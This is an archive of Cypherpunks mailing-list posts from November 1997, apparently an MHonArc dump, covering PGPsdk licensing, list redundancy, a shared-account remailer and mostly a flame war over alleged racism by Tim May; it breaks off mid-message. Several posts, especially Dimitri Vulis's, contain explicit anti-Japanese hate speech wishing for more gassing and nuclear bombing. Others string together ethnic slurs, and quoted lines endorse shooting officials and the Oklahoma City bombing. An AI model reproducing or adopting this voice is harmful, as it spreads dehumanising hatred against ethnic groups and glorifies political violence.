This is confirmed as I spoke with John Statdmiller personally 10 minutes ago.

Mark Koernke was arrested a few hours ago. Charges are felony firearms
possession.Local County prosecuter bringing the charges is Donald Ray of the
14th District. His office number is 313 971 0078
Mark is scheduled for arraignment at 2PM Eastern Time









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jay Holovacs <holovacs@idt.net>
Date: Sat, 15 Nov 1997 20:43:44 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: The V-Chip for PCs, the FCC, and broadcasting on the Net
Message-ID: <1.5.4.32.19971115123320.006be824@idt.net>
MIME-Version: 1.0
Content-Type: text/plain



At 03:43 PM 11/14/97 -0500, Declan McCullagh wrote:

>requirements were intended to apply to any "apparatus designed to
>receive television signals" that has a picture screen of 13 inches or
>larger. Accordingly, we believe that the program blocking requirements

OK boys & girls, be sure purchase your new computer without a monitor. After
all, who is to say that your new g-wiz PentiumII MMX or DEC Alpha box isn't
going to be attached to a 12" monitor?  ;-)


Jay





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 15 Nov 1997 21:07:18 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Jim Bell's Mug Shot
Message-ID: <1.5.4.32.19971115130556.00c619a0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Blanc wrote:

>Well, John, this is kind of amusing - why in the world did you put your
>photos together?   You could become confused as being associated, you know.  

It's true, Officer Law, Jim and me did associate, here, and still at it, here, 
with our freely assembled, disputatious co-conspirators and moles.

My photo's with Jim's, officer, because he in a jam and isolated, and he's 
being flaunted by the news story to boost the campaign to intimidate and 
isolate all us. Bet you think that's great fun, officer.

So I confess, officer, that I'm an associate of Jim Bell whether I want to be 
or not. Confirmed by an IRS letter saying so, sent four times. 

Your news story, officer, aims to frighten us to hunker in an isolation of fear 
that it could be any of us being mugged by officers of law, awaiting penalty, 
indefinitely. To warn us to cooperate, behave, pay tithe, recant, beg for 
mercy.

That shit sucks, officer, made me want to join Jim's lineup, nightmare your
babies with my guilty puss.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 15 Nov 1997 15:51:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711150745.IAA29472@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 26 Sep 1997, Tim May wrote:

> At 8:00 PM -0700 9/26/97, Nobuki Nakatuji wrote:
> >Does anybody want MISTY algorithm ?
> >If you want it,Please send e-mail to me.
> >
> 
> I thought we got rid of your sorry ass two weeks ago!
> 
> Go back to trying to arrange "male penpals," which Dejanews shows to be
> your activity on the Net prior to this recent playing of Misty.
> 
> You go, chop chop.

More of Tim "chop chop" May's racism.  This is the man that you claim to
have respect for.  You must be turning your head away in embarrassment
from this offensive behavior.  But he's not embarrassed about it, so why
should you be?  Look plainly at the kind of man you are dealing with,
and ask whether he deserves your respect.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Sat, 15 Nov 1997 17:20:05 +0800
To: cypherpunks@Algebra.COM
Subject: PGPsdk is now free for non-commercial use
Message-ID: <346f67da.7701710@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



Well, PGP has come to it's senses and is allowing non-commercial developers
to use the sdk for free.  I didn't notice anything too ominous in the
license agreement, and they promise a new licensing/prices for shareware
and small commercial developers.

Perhaps nobody is buying the sdk at it's current highly inflated licensing
price.

http://www.pgp.com/sdk/noncomm.cgi

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Sat, 15 Nov 1997 17:25:29 +0800
To: cypherpunks@Algebra.COM
Subject: PGPsdk and freeware developers
Message-ID: <34706895.7888814@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



I just had a thought.

How does a freeware developer in the US distribute a program that uses
PGPsdk?  Would one have to set up an export-controlled web site to make
sure them 'bad' foreigners don't get it?  

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 15 Nov 1997 23:51:33 +0800
To: tcmay@got.net (Tim May)
Subject: Re: This judge needs killing
In-Reply-To: <v03102819b092c8404f19@[207.167.93.63]>
Message-ID: <199711151544.JAA00623@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> At 9:26 PM -0700 11/14/97, Igor Chudov @ home wrote:
> >Tim May wrote:
> >> (Hey, if the Paladin case withstands Supreme Court scrutiny and his upheld,
> >> look for the Cypherpunks list node distributors to face criminal charges.)
> >
> >I do not think that it is entirely impossible either, but the likely
> >scenario is that the government may first try to harass us and attempt
> >the criminal charges only after some time.
> >
> >In any case, the present structure of cypherpunks list is entirely
> >unacceptable. We have only three working nodes. This is bad since all
> >of these nodes reside in the US and can be taken out easily.
> >
> >Besides government raids, we are all too susceptible on things like
> >internet providers kicking us out, hard drives failing, and so on.
> >Theree nodes is not a good redundancy.
> >
> >I plead foreign cypherpunks to at least establish backup nodes that could
> >be turned on should anything happen to the US-based ones.
> 
> I said this several years ago and I'll say it again: the Usenet is already
> set up for multinational, distributed, essentially uncensorable
> communication.
> 
> I used to try to copy many of my posts to alt.cypherpunks shortly after it
> was created, right after the the Great February End of Toad.com, but in
> recent months I haven'te bothered (mainly because no interesting
> communication was occurring in the alt.cypherpunks arena).
> 
> One need only look to Usenet for a robust, automatically (and
> automagically) distributed system.

You are right, USENET is a good medium.

If cypherpunks list ever gets seriously harassed by authorities, migrating
to a USENET newsgroup makes sense. At the same time, since a lot of people
actually prefer the list as the cypherpunks medium, it would be "nice" to
keep it working the way it is now if it is possible at all. 

The more likely scenario than gummint harassment, at least right now,
is a technical failure of one or two nodes. Adding more redundancy would
keep the list that we like more stable.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sun, 16 Nov 1997 01:54:34 +0800
To: cypherpunks@toad.com
Subject: Aces and Eights
Message-ID: <wUjSt45u3uQCPGVtCtJ/8A==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> I call a spade a spade.

  spade...kettle...black







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Nov 1997 01:56:05 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <v03102816b092a92800d7@[207.167.93.63]>
Message-ID: <40V8Fe23w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> >It is astonishing that people like you and William Geiger, who apparently
> >make their living as consultants, feel so comfortable publicly approving
> >racist comments directed against the Japanese.  Does William expect ever
> >to work with a Japanese customer, after suggesting that Truman should
> >have dropped additional atomic bombs on Japan?
>
> Their likely clients don't given one whit what comments they may have made
> on mailing lists. Hell, their clients don't even care if they're
> card-carrying members of the KKK.

I've consulted for lots of weird people, from Baha'i to Serbs to Black
Panthers, but I'd be reluctant to knowingly work for any Japs because Japs are
onboxious and dishonest and I don't like them. I used to work with a guy who
did a lot of work for AUM, who I think did a good job, but should have gassed
many more Japs. I'm further convinced that Japs are shit by their postings to
this list. It's such a pity the Jap cowards capitulated before Truman had a
chance to drop a few dozen more nukes on them! We also shoud have used poison
gas on them, just like they used it on Chinese civilians. We also should have
executed all of their POWs, just like they tortured to death most of European
POWs. The Japs got off way too easy for their crimes in WW2. Why wasn't your
silly little Emperor Hirohito (spit) hanged with the other war criminals? Now
the Japs are hoarding up all the available plutonium, obviously preparing to
nuke China and other neighbors (and possibly U.S.) in a likely future war.

By the way, someone I know in real life claims that they've seen the "Silicon
Valley don't hire list" and I really am on it. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sat, 15 Nov 1997 09:52:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <Pine.LNX.3.91.971114141408.1522C-100000@fatmans.demon.co.uk>
Message-ID: <199711150147.KAA08160@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:22 97/11/14 -0700, Tim May wrote:

> I'm actually delighted the Joichi Ito has, on the basis of my humor,
> denounced me as a racist.  As a member of a "mongrelized society," as one
> prominent Japanese put it a while back (and not back in the 1940s...it was
> the 1980s), I am always happy to be called a racist by someone from one of
> the most racially homogeneous nations on earth, a nation which of course
> did not allow any "boat people" to settle in their nation, all the while
> denouncing the U.S. for letting only several hundred thousand boat people
> in.

I'm not going to defend Japan on this one. Japan is a rascist society.
Does that make it OK for you to be one too?

> The history of our "Nobuki Nakatuji" <bd1011@hotmail.com> is apparently
> unknown to Joichi Ito, else he would not have been so quick to brand me a
> racist for my humor.

I'm sorry, but a racial remark is a racial remark. I never said it wasn't
funny and I never said this guy didn't deserve it. But what you said
was racist, no doubt about it, and even if they are funny, I personally
think that racial jokes are stupid and cheap.

On and by the way, I actually didn't think your message was very funny,
and I don't see how you can argue that I shouldn't brand you a rascist
just because you thought you were funny and the guy deserved it.

 - Joi


--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Nov 1997 01:46:57 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <199711150250.LAA08346@eccosys.com>
Message-ID: <eRw8Fe24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito <jito@eccosys.com> writes:

> Bullshit. I won't work with racist Japanese or racist Americans.
> I've seen many business deals fall apart because of a few stupid
> racist remarks.

A company that lets a moron like you make business decision deserves
to go under.

> And not all Japanese are racist pigs.

Just "almost all" are.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Nov 1997 01:57:50 +0800
To: cypherpunks@toad.com
Subject: Re: Gieger dies in poverty...not!
In-Reply-To: <4d6eb9fde26d7cea2f4cb06471340fad@anon.efga.org>
Message-ID: <VPX8Fe25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



(also bcc'd Philip Stromer in case he cares to comment :-)

>   Did anyone check out the Heaven's Gate group's computer work? I doubt
> that many of their customers would not welcome a chance to have them
> back on board. I've worked in plenty of environments where people had
> vastly different religious, social, racial and political beliefs, and
> most people don't (and shouldn't) give a rat's ass as long as they
> pull their weight.

I generally agree, except that if you're trying to determine in a big hurry if
a potential contractor is worth hiring, and you become aware that s/he exhibits
a trait that you believe is corelated with being a mentally retarded sociopath
(e.g., is a Klintonista or (a guy) wears a pair of earrings to an interview),
then you should proceed to the next candidate.

>   Of course, if enough people complain and picket, or whatever, then
> a 'cult' or a 'racist' or a 'sexist' can become a business liability,
> not due to the quality of their work, or their unfitness for the job,
> but because of the hateful intolerance of those with the 'right'
> beliefs.

But then some of the other folks working there will likely start looking for
other jobs... and it's damn hard to find good people, be it in NYC or in the
Silicon Valley - harder than to find a job. :-)

Ever since Sun Micro fired Philip Stromer for posting "homophobic" jokes to
Usenet, I've done what I could to hurt their sales. I estimate the value of
sales where Sun boxes were considered, I asked that no Suns be bought, and
other boxes (HPs etc) were purchased, to be about $60MM. (Of course, my inputs
were almost never pivotal, but I made my opinion known.) I also boycott
their software.

It's a pity Whit Diffie works for a company that fires people for posting
"homophobic" jokes to Usenet.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Nov 1997 03:42:09 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: Jim Bell's Mug Shot
In-Reply-To: <1.5.4.32.19971115023114.00c93684@pop.pipeline.com>
Message-ID: <3.0.3.32.19971115113258.006fee50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:31 PM 11/14/1997 -0500, John Young wrote:
>Jim Bell's mug shot from US News (and mine):
>   http://jya.com/jbjy.jpg
>The terrifying story itself:
>   http://jya.com/next-wave.htm


One of the articles was on the increase in government SWAT teams
	More shoe leather
	Among the biggest beneficiaries is the FBI, which has seen its 
	counterterrorism budget nearly triple to $243 million since 1994. 
	Bureau officials vow to "double the shoe leather" of agents working 
	on chemical and biological terrorism and are outfitting their elite 
	Hostage Rescue Team with $3.3 million worth of gas masks and protection suits. 

Doubling the shoe leather is easy - they're replacing gumshoes with jackboots.....
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 15 Nov 1997 18:53:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711151035.LAA13810@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 9 May 1997, Tim May wrote:

> Chiles and his co-conspirators should be shot for high crimes against the
> Constitution. After Clinton, Freeh, Kerrey, and the other traitors.

Not much ambiguity here, is there?  No waffling about what a capital
crime is.  This is a clear statement that Florida governor Chiles as well
as various federal officials should be shot.  More deaths, more killings,
more murders.  That is what Tim May stands for.

> Every day that passes, I'm more convinced that McVeigh did the right thing.
> Some innocents died, but, hey, war is hell. Broken eggs and all that.

This speaks for itself.  Only an utterly depraved, sick, and vicious
individual could support the killings in Oklahoma City.  This is the man
who many would say is the most respected on the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 16 Nov 1997 03:47:46 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <19971115113653.59396@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Nov 15, 1997 at 03:30:11AM -0600, TruthMonger wrote:
> Kent Crispin wrote:
> > On Fri, Nov 14, 1997 at 12:22:43PM -0700, Tim May wrote:
> > > At 7:17 AM -0700 11/14/97, Paul Bradley wrote:
> 
> > > >and liberty ethic. As for white supremacy, look elsewhere, I think you`ll
> > > >find Tim`s post an example of what the developed world knows as humour,
> > > >not a serious attack on any ethnic group.
> > >
> > > Just so.
>  
> > Not so.  Tim is clearly a racist.
> 
> Jesus H. Fucking Christ!
> I'm beginning to doubt if anyone participating in this thread knows
> what the fuck racism even is...or what humor is, either, for that
> matter.
>   Racism is a bunch of idiots who think that pissing on someone who
> _may_ be of a differnet ethinic origin, in a pissing contest, is racism.

No.  Using ethnic characteristics as a criteria for attaching
emotional labels is racism.  If you have a gut level dislike of
Japanese (blacks, jews, etc), because they are Japanese (blacks, jews,
etc), that's racism.  

Of course, I grant you that on a mailing list it isn't possible to
know whether the human Tim May is "really" a racist, so it would have
been more accurate to say that the persona "Tim" on this mailing list
is clearly racist.  However, the usage is common.  And also granted 
that the overwhelming thrust of Tim's writings are negative, so his 
racist comments are almost lost in the noise.

[...]

>   Well, when a spic, nigger, wop, kike, raghead, slant or wagon burner
> is broken down on the side of the road on a dark and stormy night, I'm
> the fucking one out there getting cold and wet helping them out, while
> all of the politically correct types lock their doors while driving
> by at 60 mph.

And Tim would be right beside you,  helping out.  Right... 

[...]

>   I've smoked crack with blacks, niggers and black-afro americans. When
> I talk loud enough for them to hear me, I try to be courteous enough to
> fit my choice of words to the environment and/or their preference. 

courtesy = censorship

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sat, 15 Nov 1997 10:43:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <199711150147.KAA08160@eccosys.com>
Message-ID: <199711150238.LAA08322@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 18:16 97/11/14 -0700, Tim May wrote:

> And where was there any mention of "race"? If a Chinese person made the
> same joke about Nakatuji-san's "You send money, I send Misty" nonsense,

At 22:10 97/11/12 -0700, Tim May wrote:
> It am developed.
> 
> You go back where you came. You go back hotmail. We tired your stupid
> questions on RC4 and your Misty posts.
> 
> Sayonara!
> 
> (And they wonder why we kicked Japan's butt.)

No, you didn't mention "race". Why don't you look up racist in the
dictionary.

> I really don't care if you found it funny or not.

And I don't care that you don't care. ;-P

- Joi

P.S. One famous cypherpunk once told me, "Never corner a Tim May."
Maybe I better stop...

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sat, 15 Nov 1997 10:57:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <62c0ce046ea812e50882fefc2a6c5667@anon.efga.org>
Message-ID: <199711150250.LAA08346@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 18:25 97/11/14 -0700, Tim May wrote:
> Utter nonsense. Business clients don't care. Nor do the Japs care, as they
> have made vastly more racist remarks every day of every year for the past
> half century or more.

Bullshit. I won't work with racist Japanese or racist Americans.
I've seen many business deals fall apart because of a few stupid
racist remarks.

And not all Japanese are racist pigs. And before you flank me,
I take back my previous remark where I insinuated that Americans
were racist. Not all Americans are racists. Just the stupid ones are.

 - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 15 Nov 1997 19:12:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711151109.MAA16774@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May-San says:
> At 6:54 PM -0700 11/14/97, Anonymous wrote:
> >It is astonishing that people like you [Paul "Fatmans" Bradley] and
> >William Geiger, who apparently make their living as consultants,
> 
> Their likely clients don't given one whit what comments they may have made
> on mailing lists. 

Tim: Fatmans doesn`t have any clients.  He`s just a wannabe consultant.  
He`s actually an undergrad at some limey univesity, and has too much
time on his hands.

> Hell, their clients don't even care if they're card-carrying members
> of the KKK.

Yeah likely.

> >Even if you share Tim May's lack of moral constraint, you presumably do
> >not also share his wealth.  
>
> Sensitive flowers such as yourself need to move out of places like
> Amsterdam and get with the program.

Oooo another subtle suggestion that the Journeyman is the anonymous
poster.

TruthMongrel-San





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 15 Nov 1997 19:31:10 +0800
To: cypherpunks@toad.com
Subject: The joke's on Joichi (hee, hee)
Message-ID: <199711151122.MAA17951@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito wrote:
> I'm sorry, but a racial remark is a racial remark. I never said it wasn't
> funny and I never said this guy didn't deserve it. But what you said
> was racist, no doubt about it, and even if they are funny, I personally
> think that racial jokes are stupid and cheap.

  Heh, heh. Joichi's English is so good that I have been improving
my own grammar and spelling in my posts in order to make fun of him 
through imitating him.

? the Racist Platypus






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Sun, 16 Nov 1997 04:47:07 +0800
To: cypherpunks@cyberpass.net
Subject: Woodwose.Nym
Message-ID: <LPFKEBNOJAOCAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Business Security 5.5

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=7OWl
-----END PGP PUBLIC KEY BLOCK-----



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Georg.Uphoff@uni-konstanz.de
Date: Sat, 15 Nov 1997 20:50:16 +0800
To: cypherpunks@toad.com
Subject: PGP 5 SDK
Message-ID: <199711151246.EAA18443@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Does anyone know where you can get PGP 5 SDK  except PGP.Inc. ?

It would be lovely if it be free and under circumvention of U.S. export control !

Thanks in advance.

Nappy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 16 Nov 1997 03:22:48 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Y2K: Canada status?
In-Reply-To: <3.0.3.32.19971114110336.00716324@popd.ix.netcom.com>
Message-ID: <Pine.BSF.3.91.971115125453.20901C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 14 Nov 1997, Bill Stewart wrote:

> At 07:22 PM 11/11/1997 -0500, Jean-Francois Avon wrote:
> >Please reply to my personnal address, I am not on CPunks.
> >
> >Is there anybody who knows about the Y2K situation in Canada?
> 
> Canada is expected to remain relatively intact until 2000 :-)

Don't be ridiculous; everybody knows that Canada uses metric dates, and 
won't have a probelm until the year 10,000.


























;)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Sun, 16 Nov 1997 05:49:00 +0800
To: cypherpunks@cyberpass.net
Subject: Announcing a disposable remailer
Message-ID: <APLDIAHAICBDAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Announcing the Woodwose Remailer!

Instructions for Use:
Point a web browser to:

http://mailexcite.com/

Use the name woodwose and password jaguar7.

The buttons for operating the mailer page are clearly marked--I won't
bore anyone with trivia.

Since the username and password for this account have now been
publicly posted, anyone can use this account to send/receive email. 
Obviously anyone who can log in can read replies to your messages, and
delete them too.  PGP encrypted replies are highly recommended, and
don't count on getting replies too much.

The name under which this account was created is not my real name.

This is my nym-persistence key:

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Business Security 5.5

mQENAzRgm1kAAAEIAKuDuhI2L3bR4InCJxzaiPLtLHU+tFaD8NeVWAh+XiYme5Cp
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=7OWl
- -----END PGP PUBLIC KEY BLOCK-----

This one is included for fun & entertainment:

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- -----END PGP PUBLIC KEY BLOCK-----
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Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 16 Nov 1997 21:03:56 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Tim May's offensive racism
In-Reply-To: <19971115000110.24436@songbird.com>
Message-ID: <Pine.LNX.3.91.971115142733.915A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > >and liberty ethic. As for white supremacy, look elsewhere, I think you`ll
> > >find Tim`s post an example of what the developed world knows as humour,
> > >not a serious attack on any ethnic group.
> > 
> > Just so.
> 
> Not so.  Tim is clearly a racist.

I do wish members of a list where I would expect the IQ and education of 
the people who post often to be higher than average would see through 
this politically correct BS, there is a difference between penning a 
mildly insulting humorous note to an idiot on a mailing list and being a 
card-carrying white supremacist. 

Nothing more to it...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 16 Nov 1997 03:41:10 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Silicon Valley Don't Hire List
Message-ID: <1.5.4.32.19971115193644.006ab5a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri,

Do you think you could get a copy of the list for publication? Sounds
like a most controversial blackballer. Especially if it includes the
names of the assholes who started it, keep it up to date and use it
to win by smearing whoever they can't beat openly.


>By the way, someone I know in real life claims that they've seen the "Silicon
>Valley don't hire list" and I really am on it. :-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 16 Nov 1997 20:53:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <62c0ce046ea812e50882fefc2a6c5667@anon.efga.org>
Message-ID: <Pine.LNX.3.91.971115143130.915B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > find Tim`s post an example of what the developed world knows as humour, 
> > not a serious attack on any ethnic group.
> 
> Tim May's post seems funny to you?  Not a racist comment?

It seems like something which has been blown out of all proportion by a 
few over-zealous pinko-liberal members of the list who support free 
speech right upto the point where someone says something which upsets 
them, then they run crying to mommy or hide under the bed. 
Racist comments to me would be those that generalised the opinion to all 
Japanese, Tim insulted one particular person. If you are going to become
oversensitive about such comments the cypherpunks list is probably the
worst place to be.

> His imitation of a Japanese accent is purely offensive.  Paul, would
> you feel comfortable offering this kind of "humor" in a gathering which
> included Japanese visitors, perhaps potential customers? 

No, because most people would misinterpret it in the same way you, and 
some other list members have, if I could be assured they would understand 
it as a light hearted mild insult rather than a racist remark I would 
have no problem saying it in those circumstances.

> It is astonishing that people like you and William Geiger, who apparently
> make their living as consultants, feel so comfortable publicly approving
> racist comments directed against the Japanese. 

Correction: I don`t make a living as a consultant, it`s merely a 
part-time bit of cash on the side thing, but, personal circumstances 
aside, were I a full time consultant, doing it for a living, I don`t see 
how it would affect my opinion as to what constitutes a serious racist 
comment.

> Does William expect ever
> to work with a Japanese customer, after suggesting that Truman should
> have dropped additional atomic bombs on Japan?

Most customers are too clueless to be reading such a list and won`t know 
what he said, that aside I don`t see the relevance.

> Even if you share Tim May's lack of moral constraint, you presumably do
> not also share his wealth.  Pragmatic considerations alone should make
> you reluctant to be an apologist for racist comments, or in William's
> case to compound the error with shockingly offensive remarks of his own.

I don`t shy away from saying what I think for financial reasons (at least 
not in most cases, that said I wouldn`t call my employer a 
nigger/wop/greezer/kike if I thought it would cost me my job.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 15 Nov 1997 14:05:56 +0800
To: cypherpunks@toad.com
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <97Nov11.113405est.32257@brickwall.ceddec.com>
Message-ID: <Pine.LNX.3.93.971115153741.130D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 11 Nov 1997 nospam-seesignature@ceddec.com wrote:

[...]

> I believe in separation of church and state.  The state must get out of
> things like education and welfare (charity) and other things that are not
> their responsibility.

The system of democratic voteing assumes an educated voteing population
because of this free scular education is a basic right that
should be prodided by the state.  

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNG0n3KQK0ynCmdStAQFsjwQAwyKLy3pCBnuS8nrvpRU9GtoctJ5WtP+C
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 16 Nov 1997 08:10:11 +0800
To: cypherpunks@Algebra.COM
Subject: Discrimination and Prejudice are Not Necessarily Bad Things
Message-ID: <v0310281eb093cfb6329b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




The recent list discsussion reminds me that not all of you have yet thrown
off your knee-jerk reaction to "prejudice" and "discrimination."

I'm not surprised to hear high school students, when asked what the world's
